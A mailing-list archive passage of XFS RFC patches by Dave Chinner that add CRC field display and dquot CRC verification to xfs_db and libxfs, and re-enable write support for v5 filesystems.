FLDT_AGNUMBER, OI(OFF(u.s.bb_owner)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(u.s.bb_crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(u.s.bb_crc)), C1, 0, TYP_NONE }, { "recs", FLDT_INOBTREC, btblock_rec_offset, btblock_rec_count, FLD_ARRAY|FLD_ABASE1|FLD_COUNT|FLD_OFFSET, TYP_NONE }, { "keys", FLDT_INOBTKEY, btblock_key_offset, btblock_key_count, @@ -471,7 +471,7 @@ const field_t bnobt_crc_flds[] = { { "lsn", FLDT_UINT64X, OI(OFF(u.s.bb_lsn)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(OFF(u.s.bb_uuid)), C1, 0, TYP_NONE }, { "owner", FLDT_AGNUMBER, OI(OFF(u.s.bb_owner)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(u.s.bb_crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(u.s.bb_crc)), C1, 0, TYP_NONE }, { "recs", FLDT_BNOBTREC, btblock_rec_offset, btblock_rec_count, FLD_ARRAY|FLD_ABASE1|FLD_COUNT|FLD_OFFSET, TYP_NONE }, { "keys", FLDT_BNOBTKEY, btblock_key_offset, btblock_key_count, @@ -533,7 +533,7 @@ const field_t cntbt_crc_flds[] = { { "lsn", FLDT_UINT64X, OI(OFF(u.s.bb_lsn)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(OFF(u.s.bb_uuid)), C1, 0, TYP_NONE }, { "owner", FLDT_AGNUMBER, OI(OFF(u.s.bb_owner)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(u.s.bb_crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(u.s.bb_crc)), C1, 0, TYP_NONE }, { "recs", FLDT_CNTBTREC, btblock_rec_offset, btblock_rec_count, FLD_ARRAY|FLD_ABASE1|FLD_COUNT|FLD_OFFSET, TYP_NONE }, { "keys", FLDT_CNTBTKEY, btblock_key_offset, btblock_key_count, diff --git a/db/dir2.c b/db/dir2.c index 8b08d48..2ec64e0 100644 --- a/db/dir2.c +++ b/db/dir2.c @@ -922,7 +922,7 @@ const field_t dir3_data_union_flds[] = { #define DBH3OFF(f) bitize(offsetof(struct xfs_dir3_blk_hdr, f)) const field_t dir3_blkhdr_flds[] = { { "magic", FLDT_UINT32X, OI(DBH3OFF(magic)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(DBH3OFF(crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(DBH3OFF(crc)), C1, 0, TYP_NONE }, { "bno", FLDT_DFSBNO, OI(DBH3OFF(blkno)), C1, 0, TYP_BMAPBTD }, { "lsn", FLDT_UINT64X, OI(DBH3OFF(lsn)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(DBH3OFF(uuid)), C1, 0, TYP_NONE }, @@ -959,7 +959,7 @@ const field_t dir3_free_hdr_flds[] = { #define DB3OFF(f) bitize(offsetof(struct xfs_da3_blkinfo, f)) const field_t da3_blkinfo_flds[] = { { "hdr", FLDT_DA_BLKINFO, OI(DB3OFF(hdr)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(DB3OFF(crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(DB3OFF(crc)), C1, 0, TYP_NONE }, { "bno", FLDT_DFSBNO, OI(DB3OFF(blkno)), C1, 0, TYP_BMAPBTD }, { "lsn", FLDT_UINT64X, OI(DB3OFF(lsn)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(DB3OFF(uuid)), C1, 0, TYP_NONE }, diff --git a/db/dquot.c b/db/dquot.c index 6927956..2f7d463 100644 --- a/db/dquot.c +++ b/db/dquot.c @@ -48,7 +48,7 @@ const field_t dqblk_flds[] = { { "diskdq", FLDT_DISK_DQUOT, OI(DDOFF(diskdq)), C1, 0, TYP_NONE }, { "fill", FLDT_CHARS, OI(DDOFF(fill)), CI(DDSZC(fill)), FLD_SKIPALL, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(DDOFF(crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(DDOFF(crc)), C1, 0, TYP_NONE }, { "lsn", FLDT_UINT64X, OI(DDOFF(lsn)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(DDOFF(uuid)), C1, 0, TYP_NONE }, { NULL } diff --git a/db/field.c b/db/field.c index c6d7404..4582097 100644 --- a/db/field.c +++ b/db/field.c @@ -163,6 +163,11 @@ const ftattr_t ftattrtab[] = { 0, fa_agblock, NULL }, { FLDT_CNTBTREC, "cntbtrec", fp_sarray, (char *)cntbt_rec_flds, SI(bitsz(xfs_alloc_rec_t)), 0, NULL, cntbt_rec_flds }, + +/* CRC field */ + { FLDT_CRC, "crc", fp_crc, "%#x (%s)", SI(bitsz(__uint32_t)), + 0, NULL, NULL }, + { FLDT_DEV, "dev", fp_num, "%#x", SI(bitsz(xfs_dev_t)), 0, NULL, NULL }, { FLDT_DFILOFFA, "dfiloffa", fp_num, "%llu", SI(bitsz(xfs_dfiloff_t)), 0, fa_dfiloffa, NULL }, diff --git a/db/field.h b/db/field.h index aecdf9f..6343c9a 100644 --- a/db/field.h +++ b/db/field.h @@ -80,6 +80,10 @@ typedef enum fldt { FLDT_CNTBTKEY, FLDT_CNTBTPTR, FLDT_CNTBTREC, + + /* CRC field type */ + FLDT_CRC, + FLDT_DEV, FLDT_DFILOFFA, FLDT_DFILOFFD, diff --git a/db/fprint.c b/db/fprint.c index 1d2f29c..435d984 100644 --- a/db/fprint.c +++ b/db/fprint.c @@ -30,6 +30,7 @@ #include "output.h" #include "sig.h" #include "malloc.h" +#include "io.h" int fp_charns( @@ -184,3 +185,41 @@ fp_uuid( } return 1; } + +/* + * CRC is correct is the current buffer it is being pulled out + * of is not marked with a EFSCORRUPTED error. + */ +int +fp_crc( + void *obj, + int bit, + int count, + char *fmtstr, + int size, + int arg, + int base, + int array) +{ + int bitpos; + int i; + __int64_t val; + char *ok; + + ok = iocur_crc_valid() ? "correct" : "bad"; + + for (i = 0, bitpos = bit; + i < count && !seenint(); + i++, bitpos += size) { + if (array) + dbprintf("%d:", i + base); + val = getbitval(obj, bitpos, size, BVUNSIGNED); + if (size > 32) + dbprintf(fmtstr, val, ok); + else + dbprintf(fmtstr, (__int32_t)val, ok); + if (i < count - 1) + dbprintf(" "); + } + return 1; +} diff --git a/db/fprint.h b/db/fprint.h index b032dbd..6a6d77e 100644 --- a/db/fprint.h +++ b/db/fprint.h @@ -29,3 +29,5 @@ extern int fp_time(void *obj, int bit, int count, char *fmtstr, int size, int arg, int base, int array); extern int fp_uuid(void *obj, int bit, int count, char *fmtstr, int size, int arg, int base, int array); +extern int fp_crc(void *obj, int bit, int count, char *fmtstr, int size, + int arg, int base, int array); diff --git a/db/inode.c b/db/inode.c index 634dc30..ec533ee 100644 --- a/db/inode.c +++ b/db/inode.c @@ -168,7 +168,7 @@ const field_t inode_core_flds[] = { }; const field_t inode_v3_flds[] = { - { "crc", FLDT_UINT32X, OI(COFF(crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(COFF(crc)), C1, 0, TYP_NONE }, { "change_count", FLDT_UINT64D, OI(COFF(changecount)), C1, 0, TYP_NONE }, { "lsn", FLDT_UINT64X, OI(COFF(lsn)), C1, 0, TYP_NONE }, { "flags2", FLDT_UINT64X, OI(COFF(flags2)), C1, 0, TYP_NONE }, diff --git a/db/io.h b/db/io.h index 2c47ccc..d647284 100644 --- a/db/io.h +++ b/db/io.h @@ -58,3 +58,9 @@ extern void write_cur(void); extern void set_cur(const struct typ *t, __int64_t d, int c, int ring_add, bbmap_t *bbmap); extern void ring_add(void); + +static inline bool +iocur_crc_valid() +{ + return (iocur_top->bp && iocur_top->bp->b_error != EFSCORRUPTED); +} diff --git a/db/sb.c b/db/sb.c index d178f58..b36abf8 100644 --- a/db/sb.c +++ b/db/sb.c @@ -118,7 +118,7 @@ const field_t sb_flds[] = { C1, 0, TYP_NONE }, { "features_log_incompat", FLDT_UINT32X, OI(OFF(features_log_incompat)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(crc)), C1, 0, TYP_NONE }, { "pquotino", FLDT_INO, OI(OFF(pquotino)), C1, 0, TYP_INODE }, { "lsn", FLDT_UINT64X, OI(OFF(lsn)), C1, 0, TYP_NONE }, { NULL } diff --git a/db/symlink.c b/db/symlink.c index 9f3d0b9..a4f420f 100644 --- a/db/symlink.c +++ b/db/symlink.c @@ -69,7 +69,7 @@ const struct field symlink_crc_flds[] = { { "magic", FLDT_UINT32X, OI(OFF(magic)), C1, 0, TYP_NONE }, { "offset", FLDT_UINT32D, OI(OFF(offset)), C1, 0, TYP_NONE }, { "bytes", FLDT_UINT32D, OI(OFF(bytes)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(crc)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(OFF(uuid)), C1, 0, TYP_NONE }, { "owner", FLDT_INO, OI(OFF(owner)), C1, 0, TYP_NONE }, { "bno", FLDT_DFSBNO, OI(OFF(blkno)), C1, 0, TYP_BMAPBTD }, -- 1.8.3.2 From dave@fromorbit.com Thu Sep 5 07:13:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B3B2B7F53 for ; Thu, 5 Sep 2013 07:13:47 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 945AA304053 for ; Thu, 5 Sep 2013 05:13:47 -0700 (PDT) X-ASG-Debug-ID: 1378383221-04cbb02c3cd64160004-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id PhiEilpxOnSBo54S for ; Thu, 05 Sep 2013 05:13:46 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAHF0KFJ5LJ62/2dsb2JhbABbgweuVJUgF3SCJAEBBVYzCBgxOQMbGYgBulWPfYQHA6lbgzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 05 Sep 2013 21:43:42 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHYRM-0001GZ-QT for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHYRM-0004F1-PE for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [RFC PATCH 12/12] db: re-enable write support for v5 filesystems. Date: Thu, 5 Sep 2013 22:13:33 +1000 X-ASG-Orig-Subj: [RFC PATCH 12/12] db: re-enable write support for v5 filesystems. Message-Id: <1378383213-16155-13-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378383213-16155-1-git-send-email-david@fromorbit.com> References: <1378383213-16155-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378383225 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner As we can now verify and recalculate CRCs on IO, we can modify the on-disk structures without corrupting the filesyste, This makes it safe to turn write support on for v5 filesystems for the first time. Signed-off-by: Dave Chinner --- db/init.c | 15 --------------- 1 file changed, 15 deletions(-) diff --git a/db/init.c b/db/init.c index b1cddca..a9b357b 100644 --- a/db/init.c +++ b/db/init.c @@ -143,21 +143,6 @@ init( exit(EXIT_FAILURE); } - /* - * Don't allow modifications to CRC enabled filesystems until we support - * CRC recalculation in the IO path. Unless, of course, the user is in - * the process of hitting us with a big hammer. - */ - if (XFS_SB_VERSION_NUM(sbp) >= XFS_SB_VERSION_5 && - !(x.isreadonly & LIBXFS_ISREADONLY)) { - fprintf(stderr, - _("%s: modifications to %s are not supported in thi version.\n" - "Use \"-r\" to run %s in read-only mode on this filesystem .\n"), - progname, fsdevice, progname); - if (!force) - exit(EXIT_FAILURE); - } - mp = libxfs_mount(&xmount, sbp, x.ddev, x.logdev, x.rtdev, LIBXFS_MOUNT_ROOTINOS | LIBXFS_MOUNT_DEBUGGER); if (!mp) { -- 1.8.3.2 From dave@fromorbit.com Thu Sep 5 07:13:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B55487F5F for ; Thu, 5 Sep 2013 07:13:46 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 95BCA8F8035 for ; Thu, 5 Sep 2013 05:13:46 -0700 (PDT) X-ASG-Debug-ID: 1378383222-04cbb02c3bd64160002-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id XytVhR3OcmtXzHDR for ; Thu, 05 Sep 2013 05:13:44 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAHF0KFJ5LJ62/2dsb2JhbABbgweuVJUgF3SCJAEBBScvMwgYMTkDGxmIAbpVjhUUhVsDqVuDMiqBLAEf Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 05 Sep 2013 21:43:39 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHYRM-0001GO-L5 for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHYRM-0004EN-K4 for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [RFC PATCH 04/12] xfs: split dquot buffer operations out Date: Thu, 5 Sep 2013 22:13:25 +1000 X-ASG-Orig-Subj: [RFC PATCH 04/12] xfs: split dquot buffer operations out Message-Id: <1378383213-16155-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378383213-16155-1-git-send-email-david@fromorbit.com> References: <1378383213-16155-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378383224 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Parts of userspace want to be able to read and modify dquot buffers (e.g. xfs_db) so we need to split out the reading and writing of these buffers so it is easy to shared code with libxfs in userspace. Signed-off-by: Dave Chinner --- include/libxfs.h | 9 ++ libxfs/Makefile | 1 + libxfs/xfs_dquot_buf.c | 273 +++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 283 insertions(+) create mode 100644 libxfs/xfs_dquot_buf.c diff --git a/include/libxfs.h b/include/libxfs.h index bee0663..9429f61 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -216,6 +216,15 @@ typedef struct xfs_mount { xfs_dablk_t m_dirdatablk; /* blockno of dir data v2 */ xfs_dablk_t m_dirleafblk; /* blockno of dir non-data v2 */ xfs_dablk_t m_dirfreeblk; /* blockno of dirfreeindex v2 */ + + /* + * anonymous struct to allow xfs_dquot_buf.c to compile. + * Pointer is always null in userspace, so code does not use it at all + */ + struct { + int qi_dqperchunk; + } *m_quotainfo; + } xfs_mount_t; /* diff --git a/libxfs/Makefile b/libxfs/Makefile index f0cbae3..4522218 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -29,6 +29,7 @@ CFILES = cache.c \ xfs_dir2_leaf.c \ xfs_dir2_node.c \ xfs_dir2_sf.c \ + xfs_dquot_buf.c \ xfs_ialloc.c \ xfs_inode_buf.c \ xfs_inode_fork.c \ diff --git a/libxfs/xfs_dquot_buf.c b/libxfs/xfs_dquot_buf.c new file mode 100644 index 0000000..620d9d3 --- /dev/null +++ b/libxfs/xfs_dquot_buf.c @@ -0,0 +1,273 @@ +/* + * Copyright (c) 2000-2006 Silicon Graphics, Inc. + * Copyright (c) 2013 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" + +int +xfs_calc_dquots_per_chunk( + struct xfs_mount *mp, + unsigned int nbblks) /* basic block units */ +{ + unsigned int ndquots; + + ASSERT(nbblks > 0); + ndquots = BBTOB(nbblks); + do_div(ndquots, sizeof(xfs_dqblk_t)); + + return ndquots; +} + +/* + * Do some primitive error checking on ondisk dquot data structures. + */ +int +xfs_dqcheck( + struct xfs_mount *mp, + xfs_disk_dquot_t *ddq, + xfs_dqid_t id, + uint type, /* used only when IO_dorepair is true */ + uint flags, + char *str) +{ + xfs_dqblk_t *d = (xfs_dqblk_t *)ddq; + int errs = 0; + + /* + * We can encounter an uninitialized dquot buffer for 2 reasons: + * 1. If we crash while deleting the quotainode(s), and those blks got + * used for user data. This is because we take the path of regular + * file deletion; however, the size field of quotainodes is never + * updated, so all the tricks that we play in itruncate_finish + * don't quite matter. + * + * 2. We don't play the quota buffers when there's a quotaoff logitem. + * But the allocation will be replayed so we'll end up with an + * uninitialized quota block. + * + * This is all fine; things are still consistent, and we haven't lost + * any quota information. Just don't complain about bad dquot blks. + */ + if (ddq->d_magic != cpu_to_be16(XFS_DQUOT_MAGIC)) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : XFS dquot ID 0x%x, magic 0x%x != 0x%x", + str, id, be16_to_cpu(ddq->d_magic), XFS_DQUOT_MAGIC); + errs++; + } + if (ddq->d_version != XFS_DQUOT_VERSION) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : XFS dquot ID 0x%x, version 0x%x != 0x%x", + str, id, ddq->d_version, XFS_DQUOT_VERSION); + errs++; + } + + if (ddq->d_flags != XFS_DQ_USER && + ddq->d_flags != XFS_DQ_PROJ && + ddq->d_flags != XFS_DQ_GROUP) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : XFS dquot ID 0x%x, unknown flags 0x%x", + str, id, ddq->d_flags); + errs++; + } + + if (id != -1 && id != be32_to_cpu(ddq->d_id)) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : ondisk-dquot 0x%p, ID mismatch: " + "0x%x expected, found id 0x%x", + str, ddq, id, be32_to_cpu(ddq->d_id)); + errs++; + } + + if (!errs && ddq->d_id) { + if (ddq->d_blk_softlimit && + be64_to_cpu(ddq->d_bcount) > + be64_to_cpu(ddq->d_blk_softlimit)) { + if (!ddq->d_btimer) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : Dquot ID 0x%x (0x%p) BLK TIMER NOT STARTED", + str, (int)be32_to_cpu(ddq->d_id), ddq); + errs++; + } + } + if (ddq->d_ino_softlimit && + be64_to_cpu(ddq->d_icount) > + be64_to_cpu(ddq->d_ino_softlimit)) { + if (!ddq->d_itimer) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : Dquot ID 0x%x (0x%p) INODE TIMER NOT STARTED", + str, (int)be32_to_cpu(ddq->d_id), ddq); + errs++; + } + } + if (ddq->d_rtb_softlimit && + be64_to_cpu(ddq->d_rtbcount) > + be64_to_cpu(ddq->d_rtb_softlimit)) { + if (!ddq->d_rtbtimer) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : Dquot ID 0x%x (0x%p) RTBLK TIMER NOT STARTED", + str, (int)be32_to_cpu(ddq->d_id), ddq); + errs++; + } + } + } + + if (!errs || !(flags & XFS_QMOPT_DQREPAIR)) + return errs; + + if (flags & XFS_QMOPT_DOWARN) + xfs_notice(mp, "Re-initializing dquot ID 0x%x", id); + + /* + * Typically, a repair is only requested by quotacheck. + */ + ASSERT(id != -1); + ASSERT(flags & XFS_QMOPT_DQREPAIR); + memset(d, 0, sizeof(xfs_dqblk_t)); + + d->dd_diskdq.d_magic = cpu_to_be16(XFS_DQUOT_MAGIC); + d->dd_diskdq.d_version = XFS_DQUOT_VERSION; + d->dd_diskdq.d_flags = type; + d->dd_diskdq.d_id = cpu_to_be32(id); + + if (xfs_sb_version_hascrc(&mp->m_sb)) { + uuid_copy(&d->dd_uuid, &mp->m_sb.sb_uuid); + xfs_update_cksum((char *)d, sizeof(struct xfs_dqblk), + XFS_DQUOT_CRC_OFF); + } + + return errs; +} + +STATIC bool +xfs_dquot_buf_verify_crc( + struct xfs_mount *mp, + struct xfs_buf *bp) +{ + struct xfs_dqblk *d = (struct xfs_dqblk *)bp->b_addr; + int ndquots; + int i; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return true; + + /* + * if we are in log recovery, the quota subsystem has not been + * initialised so we have no quotainfo structure. In that case, we need + * to manually calculate the number of dquots in the buffer. + */ + if (mp->m_quotainfo) + ndquots = mp->m_quotainfo->qi_dqperchunk; + else + ndquots = xfs_calc_dquots_per_chunk(mp, + XFS_BB_TO_FSB(mp, bp->b_length)); + + for (i = 0; i < ndquots; i++, d++) { + if (!xfs_verify_cksum((char *)d, sizeof(struct xfs_dqblk), + XFS_DQUOT_CRC_OFF)) + return false; + if (!uuid_equal(&d->dd_uuid, &mp->m_sb.sb_uuid)) + return false; + } + return true; +} + +STATIC bool +xfs_dquot_buf_verify( + struct xfs_mount *mp, + struct xfs_buf *bp) +{ + struct xfs_dqblk *d = (struct xfs_dqblk *)bp->b_addr; + xfs_dqid_t id = 0; + int ndquots; + int i; + + /* + * if we are in log recovery, the quota subsystem has not been + * initialised so we have no quotainfo structure. In that case, we need + * to manually calculate the number of dquots in the buffer. + */ + if (mp->m_quotainfo) + ndquots = mp->m_quotainfo->qi_dqperchunk; + else + ndquots = xfs_calc_dquots_per_chunk(mp, bp->b_length); + + /* + * On the first read of the buffer, verify that each dquot is valid. + * We don't know what the id of the dquot is supposed to be, just that + * they should be increasing monotonically within the buffer. If the + * first id is corrupt, then it will fail on the second dquot in the + * buffer so corruptions could point to the wrong dquot in this case. + */ + for (i = 0; i < ndquots; i++) { + struct xfs_disk_dquot *ddq; + int error; + + ddq = &d[i].dd_diskdq; + + if (i == 0) + id = be32_to_cpu(ddq->d_id); + + error = xfs_dqcheck(mp, ddq, id + i, 0, XFS_QMOPT_DOWARN, + "xfs_dquot_buf_verify"); + if (error) + return false; + } + return true; +} + +static void +xfs_dquot_buf_read_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + + if (!xfs_dquot_buf_verify_crc(mp, bp) || !xfs_dquot_buf_verify(mp, bp)) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, EFSCORRUPTED); + } +} + +/* + * we don't calculate the CRC here as that is done when the dquot is flushed to + * the buffer after the update is done. This ensures that the dquot in the + * buffer always has an up-to-date CRC value. + */ +void +xfs_dquot_buf_write_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + + if (!xfs_dquot_buf_verify(mp, bp)) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, EFSCORRUPTED); + return; + } +} + +const struct xfs_buf_ops xfs_dquot_buf_ops = { + .verify_read = xfs_dquot_buf_read_verify, + .verify_write = xfs_dquot_buf_write_verify, +}; + -- 1.8.3.2 From dave@fromorbit.com Thu Sep 5 07:13:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EC28A7F5D for ; Thu, 5 Sep 2013 07:13:47 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7718CAC005 for ; Thu, 5 Sep 2013 05:13:47 -0700 (PDT) X-ASG-Debug-ID: 1378383220-04cbb02c3ed64160004-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id LWCbQUtPAFFUQani for ; Thu, 05 Sep 2013 05:13:46 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAHF0KFJ5LJ62/2dsb2JhbABbgweuVJUgF3SCJQEFJy8zCEk5AxsZiAG6VY4VgWiEBwOpW4MyKoEs Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 05 Sep 2013 21:43:41 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHYRM-0001GV-ON for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHYRM-0004Em-ND for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [RFC PATCH 09/12] db: verify and calculate dquot CRCs Date: Thu, 5 Sep 2013 22:13:30 +1000 X-ASG-Orig-Subj: [RFC PATCH 09/12] db: verify and calculate dquot CRCs Message-Id: <1378383213-16155-10-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378383213-16155-1-git-send-email-david@fromorbit.com> References: <1378383213-16155-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378383224 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- When we set the current Io cursor to point at a dquot block, verify that the dquot CRC is intact. And prior to writing such an IO cursor, calculate the dquot CRC. Signed-off-by: Dave Chinner --- db/io.c | 5 ++++- db/io.h | 1 + 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/db/io.c b/db/io.c index 5f2e492..04f1879 100644 --- a/db/io.c +++ b/db/io.c @@ -464,7 +464,9 @@ write_cur(void) if (iocur_top->ino_buf) libxfs_dinode_calc_crc(mp, iocur_top->data); - + if (iocur_top->dquot_buf) + xfs_update_cksum(iocur_top->data, sizeof(struct xfs_dqblk), + XFS_DQUOT_CRC_OFF); if (iocur_top->bbmap) write_cur_bbs(); else @@ -532,6 +534,7 @@ 